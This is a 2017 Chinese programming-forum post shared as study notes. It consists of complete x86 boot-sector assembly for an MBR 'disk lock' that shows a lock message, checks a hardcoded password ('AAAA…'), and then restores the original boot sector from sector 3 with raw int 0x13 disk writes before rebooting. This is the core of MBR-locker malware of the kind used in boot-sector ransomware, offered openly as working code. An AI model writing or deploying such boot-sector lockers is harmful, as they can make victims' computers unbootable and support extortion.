鱼C论坛

 找回密码
 立即注册
查看: 2551|回复: 0

[学习笔记] 待改进的锁芯

[复制链接]
发表于 2017-7-15 09:29:49 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
org 0x7c00
jmp start
start:
mov ax,cs
mov ds,ax
mov ss,ax
mov es,ax
mov sp,0x100
main:
mov bp,msg1
mov bx,msg1
call strlen
mov cx,ax
mov ax,0x1301
mov bx,0x0c
mov dl,0
int 0x10
;验证密码
mov ax,0xb800 ;显示缓冲区
add ax,0xA0 ;定位到第二行
mov ds,ax ;ds的值为0xb8A0 也就是显示器的第二行。
xor cx,cx ;cx = 0
xor bx,bx
GetChar:
xor ax,ax
int 0x16 ;键盘中断 具体请大家上百度查询
cmp AL,0x8 ;退格键 if al==0x8
je back
CMP al,0x0d ;回车键
je entry
mov ah,2
mov [bx],al
mov [bx+1],ah
add bx,2
inc cx
jmp GetChar
back:
sub bx,2
dec cx
xor ax,ax
mov [bx],ax
jmp GetChar
entry:
;逐个字符比较
mov ax,cs
mov es,ax
xor bx,bx ;bx = 0
mov si,Key ;si 指向真正的密码 bx指向输入的密码
mov cl,[cs:KeySize1]
mov ch,0 ;cx
cmp_key:
mov al,[ds:bx]
mov ah,[es:si]
cmp al,ah
jne key_err ;不相同,退出
add bx,2
inc si
loop cmp_key
;密码验证正确,进行解密工作
;读取
xor ax,ax ;初始化
mov ax,0x7e00
mov es,ax
xor bx,bx
mov ah,0x2
mov dl,0x80
mov al,1 ;数量
mov dh,0 ;磁头
mov ch,0 ;柱面
mov cl,3 ;扇区
int 0x13
;写回去
xor bx,bx
mov dl,0x80
mov ah,0x3
mov al,1 ;数量
mov dh,0 ;磁头
mov ch,0 ;柱面
mov cl,1 ;MBR扇区
int 0x13
jmp _REST ;重启计算机
key_err:
mov bx,0xb800
add bx,msg1_end-msg1
mov al,'X'
mov [bx],al
mov cx,[cs:KeySize1]
xor ax,ax
kk: ;对输入的清0
mov [bx],ax
add bx,2
loop kk
jmp start
;重启计算机
_REST:
mov ax,0xffff
push ax
mov ax,0
push ax
retf
strlen:
;DS:BX 为入口参数
;ax为返回值
push cx
push bx
.while:
mov cl,[ds:bx]
cmp cl,0
jz .Exit
inc bx
inc ax
jmp .while
.Exit:
pop cx
pop bx
ret
data: ;数据区域
KeySize1:db 18
Key:db 'AAAAAAAAAAAAAAAAAA',0
msg1: db 'Your disk have a lock!!!Please enter the unlock password'
msg1_end:db 0
times 510-($-$$) db 0x0
dw 0xAA55

评分

参与人数 1鱼币 +1 收起 理由
小甲鱼 + 1

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-12-24 09:34

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表